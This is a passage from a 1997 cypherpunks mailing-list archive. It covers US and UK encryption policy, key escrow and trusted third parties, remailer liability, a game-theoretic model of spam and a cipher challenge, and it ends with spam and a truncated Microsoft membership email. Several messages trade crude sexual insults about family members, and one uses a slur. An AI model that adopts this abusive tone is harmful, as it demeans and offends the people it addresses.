meeting. However, to facilitate distribution of public presentation 
materials to the Committee members, the Committee suggests that 
public presentation materials or comments be forwarded at least 
one week before the meeting to the address listed below: Ms. Lee 
Ann Carpenter, OAS/EA MS: 3886C, Bureau of Export Administration, 
U.S. Department of Commerce, Washington, D.C. 20230.

-----

Note: EO 12958 covers classified national security information:

   http://jya.com/eo12958.txt  (100K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 25 Mar 1997 06:14:50 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: INFO: Pro-CODE testimony available now online at  democracy.net!
In-Reply-To: <199703250554.VAA22477@mail.pacifier.com>
Message-ID: <Pine.GSO.3.95.970325091136.16036A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


If you want to do a side-by-side comparison, nobody's stopping you. 

The ACLU did one, didn't like what they saw all that much, but decided to
hold their noses and endorse the bill anyway. Check out their press
release from a couple weeks ago. 

-Declan


On Mon, 24 Mar 1997, jim bell wrote:

> At 02:22 PM 3/24/97 -0500, Shabbir Safdar wrote:
> 
> >The hearing was held by the Senate Commerce Committe to consider S. 377,
> >the Promotion of Commerce online in the Digital Era (Pro-CODE) Act and this
> >issue of US encryption policy -- a critical issue to the Internet user
> >community.
> 
> I, and maybe a lot of other people, are still waiting for somebody to do a 
> side-by-side comparison of "Pro-Code 1997" with last year's version, the 
> original.
> 
> What has changed?  For the worse?  Why?  Who wanted it changed?  Who changed 
> it?  Are they embarrassed?
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 25 Mar 1997 10:19:45 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <V0a54D2w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970325111622.15110B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 25 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

Vulis the list you need is sex pervert.

> >
> > 	Well, at least she was better than your wife.
> 
> Was your sister also better than your mother?
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 25 Mar 1997 09:20:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, April 1, 1997
Message-ID: <v03020931af5db717153b@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


To: nh-isig@bcs1.ziplink.net, isig@signet.org, talk@web-net.org,
        discuss@tarnhelm.blu.org, dubie@tnpubs.enet.dec.com,
        scryberdave <ltcdave@scryber.com>
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, April 1, 1997
Mime-Version: 1.0
Date: Tue, 25 Mar 97 09:55:47 -0500
From: "Jerry Feldman" <gaf@zk3.dec.com>
X-Mts: smtp
Sender: owner-isig@signet.org
Precedence: bulk
Reply-To: isig@signet.org

When: Tuesday April 1, 1997 7PM
Where: Nashua, NH Public Library, 2 Court St, Nashua, NH.
Topic: Robert Hettinga, founding moderator of the Digital Commerce Society of
Boston.

The NH INTERNET SIG (Special Interest Group) welcomes you to its monthly
meeting, the first Tuesday of every month.
The next meeting will be on April 1st and will focus on the technology and
social consequences of digital commerce and financial
cryptography. Mr. Hettinga is also general chair of Financial Cryptography
1997, the world's first conference on Financial Cryptography.

However, financial cryptography, the technology which
underlies digital commerce in its most secure form, will have much more
profound implications than merely the simplification of sales and
distribution. It permits us to make anonymous *cash* transactions for
everything from a billion-dollar foriegn exchange trade to, probably, the
switching of internet packets themselves.
If this promise is kept, it could change the fundamentals of our entire
society.

Please check out Mr. Hettinga's web site:http://www.vmeng.com/rah/

This meeting promises to be fun and informative for both the technical and
non-technical computer users.

For more information contact Ken Adams at (603) 598-1823
eMail: director@nh-isig.org
For more information contact Jerry Feldman <gaf@signet.org>,
NH-ISIG meeting coordinator..
Mailing list: nh-isig@bcs1.ziplink.net
WWW:          http://www.nh-isig.org
NOTE: Empire.net is currently moving the web site to a new server.
      Please bear with us while the work is in progress. I have posted a
      more complete description and speaker bio
      at:http://www.gis.net/~gaf/hettinga.html

Directions to the Nashua Public Library (Plenty of free parking after 5PM):
>From south of Nashua:
Take Route 3 North to Nashua. Take exit 5E, Route 111 East
(Kinsley St., There is a Howard Johnson's Motel at the exit).
Follow 111 East (Kinsley St.) to the fourth set of lights and Main St. North.
Turn left onto Main St. and at the third set of lights turn right onto Temple
St. Take Temple St. to 2nd left onto Cottage Avenue (Behind Indian Head Plaza)
into Library's metered parking lot. (Meters in force 9AM to 5PM only).

>From North of Nashua:
Take the Everett Turnpike (Rte. 3) to Exit 7-E, 101A (Amherst St.)
Follow 101A to major intersection and turn right onto Main St.
Follow Main St. and turn left at the second set of lights onto Temple St.
Take Temple St. to 2nd left onto Cottage Avenue (Behind Indian Head Plaza)
into Library's metered parking lot. (Meters in force 9AM to 5PM only).
--
+-------------------------------------------------------------+
Jerry Feldman            gaf@SigNet.org
New Hampshire Internet SIG Meeting Coordinator
+-------------------------------------------------------------+



--
To unsubscribe from this list, send mail to majordomo@bcs1.ziplink.net
with the following text in the *body* (*not* the subject line) of the letter:
unsubscribe isig

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Mar 1997 13:02:30 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703251906.LAA01236@crypt.hfinney.com>
Message-ID: <33383B28.240A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
> 
> Several people have noted that my posts have had duplicate "From:" lines.

> In a recent message
> where I quoted Greg Broiles, the headers  
> has From: lines both from me and Greg.

>  Apologies to those who have been bothered by this problem
> with my posts.

Hal,
  I began reading the post, thinking it was from Greg, and I had
a heart attack because I thought he was finally making sense.
  I will be suing for medical expenses.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 25 Mar 1997 13:42:51 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Tim C. May's Interpretation of the U.K. Proposal
Message-ID: <01BC393C.3A406150@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Huge Cajones Remailer <nobody@huge.cajones.com> wrote in article <5h8e8u$b3h@life.ai.mit.edu>...
> Timothy C. May wrote:
> > 
> > The U.K. may sense that, absent such "local content" laws, the market for
> > key signings, time-stamping, and other services will naturally concentrate
> > in certain markets. Longer term, the concentration may be more
> > globalized, or even in "cyberspace," but almost certainly not in Britain.
> > Nations may thus fear this flight of such services to other countries.

I think that this is not quite accurate. To begin it is necessary to understand the different relationship of the Civil Service and the executive in the UK. Unlike in the US the CiVil service is apolitical, it prepares policy advice for ministers but couched in guarded terms. It explains the advantages and disadvantages of particular  policies while avoiding conclusions. Thus it is a mistake to read too much into briefing papers.

What really count are green and white papers. Green papers are the first draft of policy and frequently involve "kite flying" exercises. A proposal to implement GAK in a green paper may equally well be intended as a signal to opponents to put their case more coherently as a positive affirmation of the policy.

The UK is currently having a general election which barring a resurgence by the Liberals the socialists will win. If you thought Bob Dole's campaign was dire watch the UK Conservatives for sheer and frequently adulterous incompetence. Ten Tory MPs have been accused of accepting bribes and the Govt manipulated the date of porogueing (ie suspending) parliament before it was disolved for the election to suppress publication of the report into the affair. Since two case have been proven beyond reasonable doubt this is a bad start to say the least.

Traditionally the socialist are far more likely to support civil liberties than the Conservatives. The Liberals have the best record but the best they can hope for is to become the opposition in place of the Tories. During the years of Tory rule left wing political organisations such as CND have been monitored by MI5. Crypto will undoubtedly have support from the far left who have frequently been the target of politically motivated surveillance.

>   Tim, at his best, interprets the U.K. laws from both a global and
> local perspective.
>   Certainly, any actions of the U.K., in particular, should be viewed
> from the lingering shadow of the British Commonwealth. The U.K., having
> ruled an Empire, is much more cognizant of the implications of how the
> structure of proposed legislation will affect the expansion of global
> aims, or the protection of indigeonous rule.

The UK has also traditionally understood cryptography policy far better than the US. During both World Wars the US managed to persue a crypto policy of quite astonishing boneheadedness. 

>   Although "local content," as Tim points out, is undeniably one
> of the major factors behind the legislation, the U.K. is also 
> undoubtedly positioning themselves to resist letting the *power*
> that comes from information *control* fall into the hands of
> others.

Its not legislation, nor even a proposal to legislate. Its one side in a discussion document. No need to panic! Instead we need to make sure we have a coherent lobbying strategy.

To effectively lobby the UK government you don't need vast amounts of cash but having a permanent office to coordinate grass roots activity is usefull. Corporations with a heavy UK involvement such as IBM and DEC would be usefull sponsors, not so much for the cash as for links to constituency MPs. 

Also note that now is a good time to press the issue. The US administrations policy on Cuba has greatly discredited it abroad. The Helms-Burton act is a clear attack on other nations sovereignty, that its primary sponsor is notorious as a racist hatemonger makes matters worse. Similarly a US attack on the computer systems of the EU during the GATT negotiations has not been forgiven. Proposals to allow the US to break secret messages in other countries are correspondingly unpopular.

	Phill
 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 25 Mar 1997 14:08:01 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Another Interpretation of the U.K. Proposal
Message-ID: <01BC393F.C5DF4D40@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Timothy C. May <tcmay@got.net> wrote in article <5h6rmj$38q@life.ai.mit.edu>...

> The U.K. may sense that, absent such "local content" laws, the market for
> key signings, time-stamping, and other services will naturally concentrate
> in certain markets.

I think they would expect to win that battle in any case. I don't think there is a particular concern about competition except in regard to the problem of the UK legal framework being inadequate.

The UK has a major presence in finacial services and the govt. would be more concerned to keep foreign markets open to UK exports than inf\dulging in protectionism.

There may be a fear about US govt. interference however. There was considerable concern that the US regularly abused its role in COCOM to advantage US companies. UK compaines who bid for contracts with communist countries tended to face unexpected competition from US firms shortly after applying for a COCOM export license.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 25 Mar 1997 14:31:07 -0800 (PST)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Why I might want a trusted third party.
Message-ID: <01BC3942.FF16CB80@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

	There have been a number of comments on the UK proposals by the DTI to introduce a legal framework for use of trusted thrid parties. I contacted some old friends to find out what the issue really was. I was surprised by the result.

	First off the proposals are not intended as a Trojan horse for the Clipper chip "or any other colonial scheme". The UK authorities have been fighting terrorists rather longer than the US and the ones they are concerned about have used encryption for a decade. My friend was somewhat concerned that the US administration may have poisoned the water preventing any sensible scheme being deployed.

	The issue of concern is not private use of encryption but corporate users. Imagine you are a security administrator for IBM or DEC. You probably don't want your employees using absolutely secure email systems that would allow them to post company secrets through your firewall. I used to administer security at a large nuclear installation with an improbable amount of Uranium to hand (several hundred tonnes). Last thing I was going to allow was encrypted communications from the secure area to the Internet.

	Companies probably don't want to have their LAN completely open to snooping either. Their sysop may be snooping for a competitor as much as for them. For this particular customer the trusted third party concept is quite a good one. They can collect large quantities of information in a manner that avoids the risk of having gathered together a large collection of en-clair sensitive material in one place. Such a company would probably prefer to have the decryption key far away from the reach of their employees, ideally the key would be stored in such a way that even the TTP didn't know who it related to.

	Basically the DTI proposal clears the way for people to offer this type of service in the UK. They are emphatically not trying to introduce a Clipper chip proposal. Unfortunately what they do propose is clearly a slippery slope to a Clipper situation. If use of TTPs became ubiquitous it might become possible to enforce their use somehow at a later date.

	I think that this is a remote possibility but one that should raise concerns. If it was merely the UK government that was involved I would have fewer concerns than the current situation. The problem with US policy is that the executive keeps making ignorant and dangerous bids for unlimited power over the Internet and the people seem to have little influence over Congress. There was a tellling episode during the PICs/CDA fiasco when one of the professional lobbyists said "now we need to collect money for the hearings". Basically the governing assumption in DC amongst lobbyists is that you buy your way into hearings with campaign donnations. Crypto has many rich supporters but they tend not to understand just how corrupt US politics are.
	

Phillip M. Hallam-Baker
Visitng Scientist
MIT Laboratory for Artificial Intelligence.
hallam@ai.mit.edu
http://www.ai.mit.edu/people/hallam/hallam.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sitesubmit@allvip.com
Date: Tue, 25 Mar 1997 18:22:53 -0800 (PST)
To: sitesubmit@allvip.com
Subject: Your Web Site in 200 Search Engines - $49
Message-ID: <199703260215.VAA00116@fp.allvip.com>
MIME-Version: 1.0
Content-Type: text/plain


* To Remove:  Please hit reply & type "remove" in the subject.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 25 Mar 1997 23:10:07 -0800 (PST)
To: cypherpunks@toad.com (Cypher Punks)
Subject: Re: PGP-integrated mail reader for Windoze?
Message-ID: <3.0.32.19970325230859.00742154@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:39 PM 3/25/97 -0600, Igor Chudov @ home wrote:
>Hello,
>
>Not being a Windows user, I wonder what do you think is the best
>mail reading program for windows 95 that has some pgp integration? 
>The mail criteria, pretty much, is ease of use and some degree of
>fool proofness.

Eudora Pro 3.0 <http://www.eudora.com/> and PGPMail <http://www.pgp.com/>,
without a shadow of a doubt. Neither is free, but you sure get your money's
worth.




-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 25 Mar 1997 20:16:28 -0800 (PST)
To: cypherpunks@EINSTEIN.ssz.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703250150.BAA01138@server.test.net>
Message-ID: <0nC_=a200YUh07u_00@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Greg Broiles <gbroiles@netbox.com> writes:
> I think there are two broad models of complaints/problems with remailers:
> 
> 1. The recipient is angry because they received a message they didn't like.
> (because it's an advertisement, or it's rude, or it's an image that their
> parents didn't like ..) 
> 
> 2. A third party is angry because the sender sent some information to the
> recipient which the third party thinks should not have been sent. (copyright,
> trademark, defamation, tortious interference with [prospective] contract,
> etc.) 
> 
> Your "contract" model (which looks like you really mean it to be a waiver of
> warranty/damages and/or an indemnification agreement) addresses (1) to the
> point of overkill, but it doesn't reach (2), because there's no contract with
> the third party, who is the party who's likely to be filing suit.
> (Indemnification by the sender might work, if you worded the contract
> correctly - but then you've got to abandon anonymity, and the value of
> indemnification from person you don't know whose assets/finances are unknown
> is pretty low.)
<snip>

Does anyone here actually know the requirements for common carrier
status? (A web search proved mostly uniformative, except that now I
know that Ohio University offers a course in CC Regualtions.) While my
intuitive notion of what a CC is does mean that ISP's are not good
CC's (ISP's want to not carry every newsgroup, want to not let people
have accounts for any old reason, etc), remailers seem like a perfect
candidate. For example, you could have a remailer that has one simple
rule: they only allow 10 messages a day from people who aren't other
anon. remailers. That way, the system isn't rejecting any traffic
"unreasonably," and gains some legal protection. If someone form, say,
a praticularly profitable religous institution calls up and says "We
belive that certain copywritten internal documets were sent through
your remailer." You say "Sorry, dude, I just pass the messages along."


I imagine that there would be problems keeping messages anonymous ir
regards to the feds, as I imagine that there would be some analogy to
phone taps, but legal protection from civilians is a step in the right
direction, and a few remailers in civilized jurisdictions would make
the feds' lives difficult.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMzii4Mkz/YzIV3P5AQFy4gMAqdL2XMwr34JoJspqkXgrUpfv77s4OwWb
S+l/AYQxQJD97eGyG9NgqglJ87tiIv9H9zzCdm3wYjA1syycQlMoI+rUQ0t/OMZz
mytZNRk3SmT2OBQ4zl2VvFfB6pqLm035
=7Ehu
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 25 Mar 1997 20:40:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Why a U.K.-style law against key-signings won't fly in the U.S.
In-Reply-To: <v03007800af5e3614935f@[207.167.93.63]>
Message-ID: <saP64D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
...
> If not, then the Constitution is a joke.

It is.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 25 Mar 1997 21:16:50 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <V0a54D2w165w@bwalk.dm.com>
Message-ID: <199703260538.XAA01225@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


The Loon again:
> snow <snow@smoke.suba.com> writes:
> > The Loon wrote:
> > 	Well, at least she was better than your wife.
> Was your sister also better than your mother?

	Wouldn't know. My mother was old school catholic, My father was 
lucky _he_ got a peice of that.

	 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 25 Mar 1997 21:43:05 -0800 (PST)
To: cypherpunks@toad.com (Cypher Punks)
Subject: PGP-integrated mail reader for Windoze?
Message-ID: <199703260539.XAA18351@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hello,

Not being a Windows user, I wonder what do you think is the best
mail reading program for windows 95 that has some pgp integration? 
The mail criteria, pretty much, is ease of use and some degree of
fool proofness.

Thank you.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 25 Mar 1997 16:24:13 -0800 (PST)
To: hallam@ai.mit.edu
Subject: Re: Why I might^H^H^H^H^H *WILL NEVER* want a trusted third party.
In-Reply-To: <01BC3942.FF16CB80@crecy.ai.mit.edu>
Message-ID: <199703260019.AAA01978@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Phillip Hallam-Baker <hallam@ai.mit.edu> writes:
> 	Companies probably don't want to have their LAN completely open to 
> snooping either. Their sysop may be snooping for a competitor as much as 
> for them. For this particular customer the trusted third party concept 
> is quite a good one. They can collect large quantities of information in 
> a manner that avoids the risk of having gathered together a large 
> collection of en-clair sensitive material in one place. Such a company 
> would probably prefer to have the decryption key far away from the reach 
> of their employees, ideally the key would be stored in such a way that 
> even the TTP didn't know who it related to.

Best argument I've seen for ombudsman key-escrow yet.  And
yet... surely it would be perfectly feasible to have the commercial
key escrow key system set up with the n of m directors and company
lawyer holding the key?  If they get suspicious they can check on
someone, and the rest of the time, no one can read anyone else's
messages.

In any case, if you were able to find an example of a company who
wanted this unusual setup, could they not draw up a contract with a
legal firm, or computer security company to achieve something similar.

The real problem I have with the DTI document is in `facilitating
ecommerce' or whatever the euphamism is for the government bid to have
real time access to user keys, they are also outlawing use of
unlicensed TTPs.  From the document it seems that activities which
require a TTP license are key server functionality, CAs (even for only
signature keys), time-stamping services, plus numerous other
possibilities, by entities which are not licensed TTPs.

Then they go on to say they want the market to decide on whether
government licensed TTPs are the best solution.  After outlawing most
other possibilities, and putting legal obstacles in the way of a fast
moving technological field.

> 	Basically the DTI proposal clears the way for people to offer
> this type of service in the UK. 

A lot of the proposal discusses outlawing non-licensed alternatives,
and timeliness of GAK (government access to keys), surely the way is
already clear for encryption companies to offer what they hell they
want to offer, to companies who are free to demand what they want.

> They are emphatically not trying to introduce a Clipper chip
> proposal. 

How do you describe all the `key recovery', and restrictions on TTPs
being interoperable and joining the network if they don't provide GAK?

Sounds _exactly_ like a clipper job to me.

> Unfortunately what they do propose is clearly a slippery slope to a
> Clipper situation. If use of TTPs became ubiquitous it might become
> possible to enforce their use somehow at a later date.

I'm sure this is the plan.  CESG is trying to push the CASM
architecture for TTPs (CASM is based of the Royal Holloway proposal).
CESG already has some `customers' who are legally obliged to use their
recommendations: central government.  The Health service had to put up
much resistance to avoid `the offer you can't refuse' of using Red
Pike in Health Service networks.  (Why Red Pike anyway?  It's a secret
algorithm, which is rumoured to be a modification of RC5, which itself
is a very new and relatively untested cipher.  What's wrong with 3DES?)

They plan to work their way out through peripheral government agencies
and authorities through the requirement to communicate with central
government, and the tendency to go with the government standard and
then move on to the public through the services the DTI is discussing
providing to the public.  Offering the public the opportunity to
interact electronically with both local and central government.

Along with legislation to make digital signatures binding in law only
when signed by keys held in a TTP licensed key server, certified by a
TTP licensed CA, they probably figure they can achieve de-facto
status, while quietly outlawing enough functionality to make
competition possible.  (For example running a non-TTP licensed
commercial CA or key servers would be a criminal offense.)

That's their game plan as I understand it.

Adam

-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Wed, 26 Mar 1997 01:03:34 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: game theoretic analysis of junk mail
Message-ID: <Pine.SUN.3.96.970326004814.1233A-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


The junk mail problem (also known as spam) is well known to just about
everyone who receives e-mail.  There has also been many solutions
proposed.  Noticeably, the idea of having e-mail senders include ecash
payments with their mail has come up several times (I believe as the
result of independent discovery).  In order to evaluate the effectiveness
of this proposal, I will construct a game theoretic model of the
interaction between the sender and the recipient of an e-mail, and compare
the solutions with and without the ecash payment option.

The Model

Players: A - Sender, B - Recipient

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    B: Read mail?
               /   \
           no /     \ yes
             /       \
         (0,0)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (0,-c)  (s,r-c)

Assumptions: 
- sending the e-mail is costless to the sender
- c (the cost of reading a piece of e-mail) is known to both the sender
and the recipient.  
- s and r (the profit of the proposed deal to sender and receiver,
respectively, both assumed to be non-negative) are distributed according
to the probability density function f(s,r).  The sender knows s and r
before sending the e-mail, but the receiver does not learn s and r until
he reads the e-mail. 

Solution of the game:
To solve this game, we apply the method of backward induction.  In the
last stage of the game, B decides whether to accept A's offer.  Clearly he
always accepts since r-c >= -c.  Therefore, in the next to last stage, B
knows that the expected payoff if he reads the mail is the expected value
of r-c, E(r)-c, so he will read if E(r)-c > 0.  Finally, we come to A's
decision.  If A knows that B will not read, then he is indifferent between
sending and not sending.  However, if we assume that there is a small
probability that B will read and accept irrationally, then we can conclude
that A always sends the mail.

Conclusions

To summerize, if E(r) > c, B always reads the mail and accepts the offer,
otherwise B never reads.  A always sends regardless of the value of the
parameters.  Now we can see the outcome is not socially optimal.  For
example if E(r) < c, both A and B would be better off if A only sends when
r>c.

The above model is not very realistic.  The most unrealistic assumption is
that the sender knows the exactly value of his offer to the recipient.
However I believe the model captures the essence of the junk mail problem.
Next time I will analyze the proposed solution of adding the option of a
pre-payment.  For those who want to try it themselves, I give the game
tree here:

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    A: Decide pre-payment p
                |
                |
                |
             B: Read mail?
               /   \
           no /     \ yes
             /       \
         (-p,p)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (-p,p-c)  (s,r-c)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 25 Mar 1997 23:28:40 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703252319.XAA01734@server.test.net>
Message-ID: <3338CFDE.7A6F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> 
> Here's one example for the problem I've been having:

> : >  A million monkeys operating under the pseudonym
> : >  "Thomas M.  McGhan" <tmcghan@gill-simpson.com> typed:
> :
> : actually, there are only 5737 of us...

> Do these appear to other people the same as above?

  I realized, recently, that the header problems could probably be
resolved in a short period of time by consulting the person who has had
to deal with this type of thing for many years, having hosted the
CypherPunks list for quite some time.
  I emailed John Gilmore, asking his advice, and he informed me that
he has run into this problem before, and would be happy to provide the
solution, on one condition.

  He wants one million monkeys to send 5737 messages to the list, saying
"John Gilmore is NOT a cocksucker."
  Then, he will provide the solution, and not a moment before.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: " klimt  gustav" <gggklimt@hotmail.com>
Date: Wed, 26 Mar 1997 01:44:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: A new classical cipher
Message-ID: <199703260943.BAA12645@f4.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


If answer please mail to : alexandermail@hotmail.com


A new classical cipher by Alexandre PUKALL :


This crypto is in Normal Pukall's Cipher mode 1 ( NPC mode 1 )
Try to break it !

ORISI / DERME / LOEEE / RNDNO / EEPRA / ITSUL / SEUOC / ELEDE /
OSEGE / IRUEU / LTUUA / LEARP / RACLO / ROPRA / IETST / AUDEN /
EUSMO / ROTTN / NNREF / NLEID / FEERE / EISNE / ROTO /

This crypto  is in Enhanced Pukall's Cipher mode 1 ( EPC mode 1
)
Try to break it !

REHUA / AVRLL / CELYU / CAICC / ATNOP / TGBEX / RMETE / LLSDO /
SEEQE / MACVD / EDFVE / ESENE / MLMPL / EICPU / TEIEM / NCPAP /
ELEHT / OPNRU / CAUEA / DFSNS / REANC / CCDLE / RISEU / USESA /
EIDTS / MLTOA / MIOGF / ULORD / STHUA / LEUSU / CANIL / AOMUP /
IEALS / BNXLD / RIUEI / EECOE / EITDN / GCLDE / JENKE / GOEAP /
ESLTD / IEZOR / SEELM / AO /









---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Site Builder Network <SBN@Microsoft.com>
Date: Wed, 26 Mar 1997 02:40:15 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Your Site Builder Network Membership!
Message-ID: <c=US%a=_%p=HyperRadix%l=SOPHIA-970326103802Z-15110@sophia.hyperradix.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Site Builder Network  - Guest Membership.

We went to your site(s) and were unable to find the Microsoft Internet
Explorer logo and link which would qualify you for level 1, or an
ActiveX control which would qualify you for Level 2.  You are currently
a guest member and have access to the Guest Download Area. Your ID and
password are listed below for your convenience.

Do you think you qualify for Level 1 or 2?  Would you like to?  Your
registration may have failed due to any of the following reasons:

You did not register the exact URL where
the IE logo and/or the ActiveX control are located.
====================================================
Our automated system can only check pages, not entire sites.  Please go
back to http://www.microsoft.com/sbnmember/apply/apply.asp , click
'upgrade your membership' then enter your ID and password (which is
listed below).  This will bring up your registration information.  Be
sure to list the exact URL where the IE logo/link is located as well as
the exact URL the ActiveX control is located (if applicable), and we
will check your site again.  In the meantime, enjoy your Guest
Membership, and we will notify you of your membership status within 5
days after you apply for an upgrade.

You are displaying the IE logo, but it is not linked
to anything, or it is linked incorrectly.
=====================================================
If you are displaying the Internet Explorer logo, please return to your
site and check the link.  When you click the logo, does it send you to
http://www.microsoft.com/ie/ ?  When you are ready to have your site
checked again, please go back to
http://www.microsoft.com/sbnmember/apply/apply.asp , click 'upgrade your
membership' then enter your ID and password (which are listed below). 
This will bring up your registration information.  Be sure to list the
exact URL where the IE logo/link is and we will check your site again. 
In the meantime, enjoy your Guest Membership, and we will notify you of
your membership status within 5 days after you apply for an upgrade.

You have an intranet or secured site.
======================================
Please send an .htm page, or your html code as a text file to
SBN@microsoft.com and we will check your site that way.  Be sure to
delete any confidential or sensitive information.  Please send your ID
and password in the email (Both are listed below.) so we can upgrade
your membership more quickly.  Please note that it could take up to 10
days due to the manual upgrade.

You think you have done everything by the book and
can't understand why your registration failed.
===================================================
Perhaps the connection failed due to your server being down or heavy
internet traffic.  Or there may be a typographical error in your
registered URL's.  Please go back to
http://www.microsoft.com/sbnmember/apply/apply.asp , click 'upgrade your
membership' then enter your ID and password (which are listed below). 
This will bring up your registration information.  Be sure to list the
